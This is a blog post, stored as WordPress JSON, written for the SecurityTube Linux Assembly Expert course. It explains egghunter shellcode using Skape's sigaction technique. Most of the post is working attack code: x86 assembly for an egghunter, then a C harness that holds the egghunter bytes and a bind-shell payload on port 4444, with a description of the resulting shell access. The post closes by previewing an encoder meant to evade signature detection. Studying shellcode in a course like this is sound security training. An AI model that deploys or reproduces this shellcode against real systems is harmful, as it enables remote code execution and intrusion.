{"id":117,"date":"2020-08-26T00:00:20","date_gmt":"2020-08-26T00:00:20","guid":{"rendered":"https:\/\/badbit.vc\/?p=117"},"modified":"2020-09-02T20:26:21","modified_gmt":"2020-09-02T20:26:21","slug":"egghunters","status":"publish","type":"post","link":"https:\/\/badbit.vc\/index.php\/2020\/08\/26\/egghunters\/","title":{"rendered":"Egghunters"},"content":{"rendered":"\n<p>To define in a single line, egg hunting is the process of searching a process&#8217;s Address Space in a reliable manner for a given key (egg). <\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><em>Egg-hunt (<a href=\"https:\/\/en.wikipedia.org\/wiki\/Shellcode#Egg-hunt\" target=\"_blank\" rel=\"noreferrer noopener\">Wikipedia<\/a>)<\/em><\/h4>\n\n\n\n<p><em>This is another form of&nbsp;staged&nbsp;shellcode, which is used if an attacker can inject a larger shellcode into the process but cannot determine where in the process it will end up. Small&nbsp;egg-hunt&nbsp;shellcode is injected into the process at a predictable location and executed. This code then searches the process&#8217;s address space for the larger shellcode (the&nbsp;egg) and executes it.<\/em><\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p>In this blogpost, we will create our own Egghunter shellcode which will execute \/bin\/bash. We will implement one of the methods from the amazing research done by Skape about &#8220;<em>Safely Searching Process Virtual Address Space<\/em>&#8220;.<\/p>\n\n\n\n<p>We will use the <em><strong>sigaction<\/strong><\/em> approach as mentioned in<a href=\"http:\/\/www.hick.org\/code\/skape\/papers\/egghunt-shellcode.pdf\"> Skape&#8217;s research<\/a>. As seen in the man refernce below, the syscall <strong>&#8220;sigaction&#8221;<\/strong> takes the following arguments:<br><br>    EAX = 67<br>    EBX = signum<br>    ECX = *act<br>    EDX = *oldact<br><br>The goal here will be to use the act structure as the pointer for validating a larger region of memory than a single byte. I won&#8217;t be going any further in the details of the syscall as the research paper already covers it in great extent. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"899\" height=\"755\" src=\"https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/Screenshot_20200807_004150.jpg\" alt=\"\" class=\"wp-image-118\" srcset=\"https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/Screenshot_20200807_004150.jpg 899w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/Screenshot_20200807_004150-300x252.jpg 300w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/Screenshot_20200807_004150-768x645.jpg 768w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/Screenshot_20200807_004150-850x714.jpg 850w\" sizes=\"auto, (max-width: 899px) 100vw, 899px\" \/><\/figure>\n\n\n\n<p>Below is the shellcode which uses 0x50905090 as the key (egg) and hunts for it in the address space. As soon as the compare operation succeeds, the flow is redirected to the actual payload.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>global _start\n\nsection .text\n_start:\n\nverify_area:\n\tor cx,0xfff ; page alignment\n\nhunt_addr:\n\tinc ecx\n\tpush 0x43 ; Syscall 67 - sigaction\n\tpop eax\n\tint 0x80\n\n\tcmp al,0xf2 ; Compare return value of the syscall against low byte of EFAULT value\n\tjz verify_area ; If efault is produced, i.e the memory region doesn't exist -> Loop incrementing ecx\n\n\tmov eax,0x50905090 ; Move egg in eax for SCASD operation\n\tmov edi,ecx ; Pointer to in-memory string to be compared moved in edi\n\n\tscasd ; Compare first part of the egg\n\n\tjnz hunt_addr ; If the egg does not match, loop incrementing the address\n\n\tscasd  ; Compare second part of the egg\n\n\tjnz hunt_addr ; Loop again if no match\n\n\tjmp edi ; Jump to the payload if match successful\n<\/code><\/pre>\n\n\n\n<p>Now we will generate shellcode using the cli-fu as shown in <a href=\"https:\/\/badbit.vc\/index.php\/2020\/08\/22\/writing-a-linux-bind-shell-in-asm-x86\/\" target=\"_blank\" rel=\"noreferrer noopener\">previous posts<\/a> from the above asm code and use it in our C harness.<\/p>\n\n\n\n<p>Below is our C harness which contains our egghunter shellcode from above and the bind shell shellcode from the first post of the series. <em>Do note how we have appended our key to the actual shellcode. <\/em><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ Author - badbit\n\/\/ Egghunter shellcode spawning a bind shell on localhost:4444 \n\n#include &lt;stdio.h>\n#include &lt;string.h>\n\n\nchar egghunter&#91;] = \"\\x66\\x81\\xc9\\xff\\x0f\\x41\\x6a\\x43\\x58\\xcd\\x80\\x3c\\xf2\\x74\\xf1\\xb8\\x90\\x50\\x90\\x50\\x89\\xcf\\xaf\\x75\\xec\\xaf\\x75\\xe9\\xff\\xe7\";\n\n\nchar shellcode&#91;] = \\\n\"\\x90\\x50\\x90\\x50\"\n\"\\x90\\x50\\x90\\x50\"\n\"\\x31\\xc0\\x31\\xdb\\x31\\xc9\\xb3\\x01\\x51\\x53\\x6a\\x02\\x89\\xe1\\xb0\\x66\\xcd\\x80\\x89\\xc6\\xb0\\x66\\x31\\xdb\\x53\\x66\\x68\\x11\\x5c\\x66\\x6a\\x02\\x89\\xe1\\x6a\\x10\\x51\\x56\\x89\\xe1\\xb3\\x02\\xcd\\x80\\xb0\\x66\\x31\\xdb\\x53\\x56\\x89\\xe1\\xb3\\x04\\xcd\\x80\\xb0\\x66\\x31\\xdb\\x53\\x53\\x56\\x89\\xe1\\xb3\\x05\\xcd\\x80\\x89\\xc3\\xb9\\x02\\x00\\x00\\x00\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x31\\xc9\\x89\\xca\\x51\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xb0\\x0b\\xcd\\x80\";\n\n\n\nint main()\n{\n\tprintf(\"&#91;+] Shell bound to port 4444.\\n\");\n\tprintf(\"&#91;+] Original shellcode length : %d\\n\", strlen((char*)shellcode)-8);\n\tprintf(\"&#91;+] Length of egghunter : %d\\n\\n\\n\", strlen((char*)egghunter));\n\n\tint (*ret)() = (int(*)())egghunter;\n\tret();\n\n}\n<\/code><\/pre>\n\n\n\n<p>Compiling the above with the stack marked as executable, and running it, we get the below output:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"340\" src=\"https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/Screenshot_20200828_150914-1024x340.jpg\" alt=\"\" class=\"wp-image-258\" srcset=\"https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/Screenshot_20200828_150914-1024x340.jpg 1024w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/Screenshot_20200828_150914-300x100.jpg 300w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/Screenshot_20200828_150914-768x255.jpg 768w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/Screenshot_20200828_150914-1536x510.jpg 1536w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/Screenshot_20200828_150914-850x282.jpg 850w, https:\/\/badbit.vc\/wp-content\/uploads\/2020\/08\/Screenshot_20200828_150914.jpg 1768w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>On the right window, we can see our payload successfully executing and on the left we can see that we are conencted to our bind shell and successfully executing commands on the host.<\/p>\n\n\n\n<p><strong>Resources:<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>The original research by Skape &#8211; <a href=\"http:\/\/www.hick.org\/code\/skape\/papers\/egghunt-shellcode.pdf\">http:\/\/www.hick.org\/code\/skape\/papers\/egghunt-shellcode.pdf<\/a><\/li><li>Brilliant article on Egghunters (Windows) by HackSysTeam &#8211; <a href=\"https:\/\/www.exploit-db.com\/docs\/english\/18482-egg-hunter---a-twist-in-buffer-overflow.pdf\">https:\/\/www.exploit-db.com\/docs\/english\/18482-egg-hunter&#8212;a-twist-in-buffer-overflow.pdf<\/a><\/li><\/ol>\n\n\n\n<p>That&#8217;s all for this blog post.<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:<br><a href=\"http:\/\/securitytube-training.com\/online-courses\/securitytube-linux-assembly-expert\/\">http:\/\/securitytube-training.com\/online-courses\/securitytube-linux-assembly-expert\/<\/a><\/p>\n\n\n\n<p>Student ID: PA-14690<\/p>\n\n\n\n<p><a href=\"https:\/\/github.com\/bad-bit\/SLAE_x86\/tree\/master\/Egghunter\">Egghunter shellcode Github Repo<\/a><\/p>\n\n\n\n<p>In the <a href=\"https:\/\/badbit.vc\/index.php\/2020\/08\/28\/custom-encoder\/\" target=\"_blank\" rel=\"noreferrer noopener\">next blog post<\/a>, we will create our own Custom Encoder scheme which can be used to defeat signature based detection schemes.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>To define in a single line, egg hunting is the process of searching a process&#8217;s Address Space in a reliable manner for a given key (egg). Egg-hunt (Wikipedia) This is another form of&nbsp;staged&nbsp;shellcode, which is used if an attacker can inject a larger shellcode into the process but cannot determine where in the process it&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,4],"tags":[7,5,8,6],"class_list":["post-117","post","type-post","status-publish","format-standard","hentry","category-shellcoding","category-slae-x86","tag-linux","tag-shellcode","tag-slae","tag-x86"],"_links":{"self":[{"href":"https:\/\/badbit.vc\/index.php\/wp-json\/wp\/v2\/posts\/117","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/badbit.vc\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/badbit.vc\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/badbit.vc\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/badbit.vc\/index.php\/wp-json\/wp\/v2\/comments?post=117"}],"version-history":[{"count":10,"href":"https:\/\/badbit.vc\/index.php\/wp-json\/wp\/v2\/posts\/117\/revisions"}],"predecessor-version":[{"id":325,"href":"https:\/\/badbit.vc\/index.php\/wp-json\/wp\/v2\/posts\/117\/revisions\/325"}],"wp:attachment":[{"href":"https:\/\/badbit.vc\/index.php\/wp-json\/wp\/v2\/media?parent=117"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/badbit.vc\/index.php\/wp-json\/wp\/v2\/categories?post=117"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/badbit.vc\/index.php\/wp-json\/wp\/v2\/tags?post=117"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}